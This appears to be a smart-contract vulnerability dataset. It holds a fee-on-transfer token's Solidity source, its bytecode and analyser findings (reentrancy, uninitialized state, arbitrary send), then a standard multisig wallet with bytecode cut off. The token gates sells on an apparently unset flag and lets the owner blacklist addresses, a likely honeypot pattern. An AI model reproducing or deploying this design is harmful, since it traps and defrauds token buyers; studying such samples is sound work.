tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); uint256 contractTokenBalance = balanceOf(address(this)); if (to == uniswapV2Pair) { require(isApproved, "Trading not yet enabled"); } if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { tradingOpen = true; } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 7); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 1); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f71461048b578063db92dbb6146104ab578063dd62ed3e146104c0578063e6ec64ec1461050657600080fd5b8063c3c8cd8014610441578063c4081a4c14610456578063c9567bf91461047657600080fd5b806370a0823114610378578063715018a6146103985780638da5cb5b146103ad57806395d89b41146103d5578063a9059cbb14610401578063b515566a1461042157600080fd5b8063313ce5671161013e5780634b740b16116101185780634b740b16146103035780635d098b381461032357806369881f70146103435780636fc3eaec1461036357600080fd5b8063313ce5671461028e5780633bbac579146102aa578063437823ec146102e357600080fd5b806306fdde0314610191578063095ea7b3146101de57806318160ddd1461020e57806323b872dd14610237578063273123b71461025757806327f3a72a1461027957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b50604080518082019091526012815271466f6f644661726d65722e46696e616e636560701b60208201525b6040516101d59190611890565b60405180910390f35b3480156101ea57600080fd5b506101fe6101f9366004611766565b610526565b60405190151581526020016101d5565b34801561021a57600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101d5565b34801561024357600080fd5b506101fe610252366004611726565b61053d565b34801561026357600080fd5b506102776102723660046116b6565b6105a6565b005b34801561028557600080fd5b506102296105fa565b34801561029a57600080fd5b50604051601281526020016101d5565b3480156102b657600080fd5b506101fe6102c53660046116b6565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102ef57600080fd5b506102776102fe3660046116b6565b61060a565b34801561030f57600080fd5b5061027761031e366004611858565b61064e565b34801561032f57600080fd5b5061027761033e3660046116b6565b61068c565b34801561034f57600080fd5b5061027761035e366004611858565b6106fc565b34801561036f57600080fd5b50610277610744565b34801561038457600080fd5b506102296103933660046116b6565b610771565b3480156103a457600080fd5b50610277610793565b3480156103b957600080fd5b506000546040516001600160a01b0390911681526020016101d5565b3480156103e157600080fd5b5060408051808201909152600381526223232360e91b60208201526101c8565b34801561040d57600080fd5b506101fe61041c366004611766565b610807565b34801561042d57600080fd5b5061027761043c366004611791565b610814565b34801561044d57600080fd5b5061027761095b565b34801561046257600080fd5b50610277610471366004611878565b610991565b34801561048257600080fd5b506102776109c4565b34801561049757600080fd5b506102776104a63660046116b6565b610a03565b3480156104b757600080fd5b50610229610a44565b3480156104cc57600080fd5b506102296104db3660046116ee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561051257600080fd5b50610277610521366004611878565b610a5c565b6000610533338484610a8f565b5060015b92915050565b600061054a848484610bb3565b61059c843361059785604051806060016040528060288152602001611a53602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f06565b610a8f565b5060019392505050565b6000546001600160a01b031633146105d95760405162461bcd60e51b81526004016105d0906118e3565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600061060530610771565b905090565b600d546001600160a01b0316336001600160a01b03161461062a57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461066e57600080fd5b60108054911515600160b01b0260ff60b01b19909216919091179055565b600d546001600160a01b0316336001600160a01b0316146106ac57600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105d0906118e3565b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461076457600080fd5b4761076e81610f40565b50565b6001600160a01b03811660009081526002602052604081205461053790610fc5565b6000546001600160a01b031633146107bd5760405162461bcd60e51b81526004016105d0906118e3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610533338484610bb3565b6000546001600160a01b0316331461083e5760405162461bcd60e51b81526004016105d0906118e3565b60005b81518110156109575760105482516001600160a01b039091169083908390811061087b57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316141580156108da5750600f5482516001600160a01b03909116908390839081106108c657634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614155b156109455760016006600084848151811061090557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061094f816119f6565b915050610841565b5050565b600d546001600160a01b0316336001600160a01b03161461097b57600080fd5b600061098630610771565b905061076e81611049565b600d546001600160a01b0316336001600160a01b0316146109b157600080fd5b60018111156109bf57600080fd5b600955565b6000546001600160a01b031633146109ee5760405162461bcd60e51b81526004016105d0906118e3565b6010805460ff60a01b1916600160a01b179055565b600d546001600160a01b0316336001600160a01b031614610a2357600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b601054600090610605906001600160a01b0316610771565b600d546001600160a01b0316336001600160a01b031614610a7c57600080fd5b6007811115610a8a57600080fd5b600a55565b6001600160a01b038316610af15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d0565b6001600160a01b038216610b525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d0565b6001600160a01b038216610c795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d0565b60008111610cdb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d0565b6000546001600160a01b03848116911614801590610d0757506000546001600160a01b03838116911614155b15610e95576001600160a01b03831660009081526006602052604090205460ff16158015610d4e57506001600160a01b03821660009081526006602052604090205460ff16155b610d5757600080fd5b6000610d6230610771565b6010549091506001600160a01b0384811691161415610dd457601054600160a81b900460ff16610dd45760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f742079657420656e61626c656400000000000000000060448201526064016105d0565b601054600160b81b900460ff16158015610dfc57506010546001600160a01b03858116911614155b8015610e115750601054600160a01b900460ff165b15610e93578015610e8157601054610e4b90606490610e4590600590610e3f906001600160a01b0316610771565b906111ee565b9061126d565b811115610e7857601054610e7590606490610e4590600590610e3f906001600160a01b0316610771565b90505b610e8181611049565b478015610e9157610e9147610f40565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610ed757506001600160a01b03831660009081526005602052604090205460ff165b80610eeb5750601054600160b01b900460ff165b15610ef4575060005b610f00848484846112af565b50505050565b60008184841115610f2a5760405162461bcd60e51b81526004016105d09190611890565b506000610f3784866119df565b95945050505050565b600d546001600160a01b03166108fc610f5a83600261126d565b6040518115909202916000818181858888f19350505050158015610f82573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610f9d83600261126d565b6040518115909202916000818181858888f19350505050158015610957573d6000803e3d6000fd5b600060075482111561102c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105d0565b60006110366112dd565b9050611042838261126d565b9392505050565b6010805460ff60b81b1916600160b81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110f357600080fd5b505afa158015611107573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112b91906116d2565b8160018151811061114c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546111729130911684610a8f565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ab908590600090869030904290600401611918565b600060405180830381600087803b1580156111c557600080fd5b505af11580156111d9573d6000803e3d6000fd5b50506010805460ff60b81b1916905550505050565b6000826111fd57506000610537565b600061120983856119c0565b90508261121685836119a0565b146110425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d0565b600061104283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611300565b806112bc576112bc61132e565b6112c784848461135c565b80610f0057610f00600b54600955600c54600a55565b60008060006112ea611453565b90925090506112f9828261126d565b9250505090565b600081836113215760405162461bcd60e51b81526004016105d09190611890565b506000610f3784866119a0565b60095415801561133e5750600a54155b1561134557565b60098054600b55600a8054600c5560009182905555565b60008060008060008061136e8761149b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113a090876114f8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113cf908661153a565b6001600160a01b0389166000908152600260205260409020556113f181611599565b6113fb84836115e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144091815260200190565b60405180910390a3505050505050505050565b60075460009081906b033b2e3c9fd0803ce8000000611472828261126d565b821015611492575050600754926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006114b88a600954600a54611607565b92509250925060006114c86112dd565b905060008060006114db8e878787611656565b919e509c509a509598509396509194505050505091939550919395565b600061104283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f06565b6000806115478385611988565b9050838110156110425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d0565b60006115a36112dd565b905060006115b183836111ee565b306000908152600260205260409020549091506115ce908261153a565b30600090815260026020526040902055505050565b6007546115f090836114f8565b600755600854611600908261153a565b6008555050565b600080808061161b6064610e4589896111ee565b9050600061162e6064610e458a896111ee565b90506000611646826116408b866114f8565b906114f8565b9992985090965090945050505050565b600080808061166588866111ee565b9050600061167388876111ee565b9050600061168188886111ee565b905060006116938261164086866114f8565b939b939a50919850919650505050505050565b80356116b181611a3d565b919050565b6000602082840312156116c7578081fd5b813561104281611a3d565b6000602082840312156116e3578081fd5b815161104281611a3d565b60008060408385031215611700578081fd5b823561170b81611a3d565b9150602083013561171b81611a3d565b809150509250929050565b60008060006060848603121561173a578081fd5b833561174581611a3d565b9250602084013561175581611a3d565b929592945050506040919091013590565b60008060408385031215611778578182fd5b823561178381611a3d565b946020939093013593505050565b600060208083850312156117a3578182fd5b823567ffffffffffffffff808211156117ba578384fd5b818501915085601f8301126117cd578384fd5b8135818111156117df576117df611a27565b8060051b604051601f19603f8301168101818110858211171561180457611804611a27565b604052828152858101935084860182860187018a1015611822578788fd5b8795505b8386101561184b57611837816116a6565b855260019590950194938601938601611826565b5098975050505050505050565b600060208284031215611869578081fd5b81358015158114611042578182fd5b600060208284031215611889578081fd5b5035919050565b6000602080835283518082850152825b818110156118bc578581018301518582016040015282016118a0565b818111156118cd5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119675784516001600160a01b031683529383019391830191600101611942565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199b5761199b611a11565b500190565b6000826119bb57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119da576119da611a11565b500290565b6000828210156119f1576119f1611a11565b500390565b6000600019821415611a0a57611a0a611a11565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461076e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4ae6bb5edb11056376ae1470753a734710f5331683d9360025ddf5ea1e8847064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,043
0xd58a2e914f31c708442ff58871deb3a57c3322fc
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906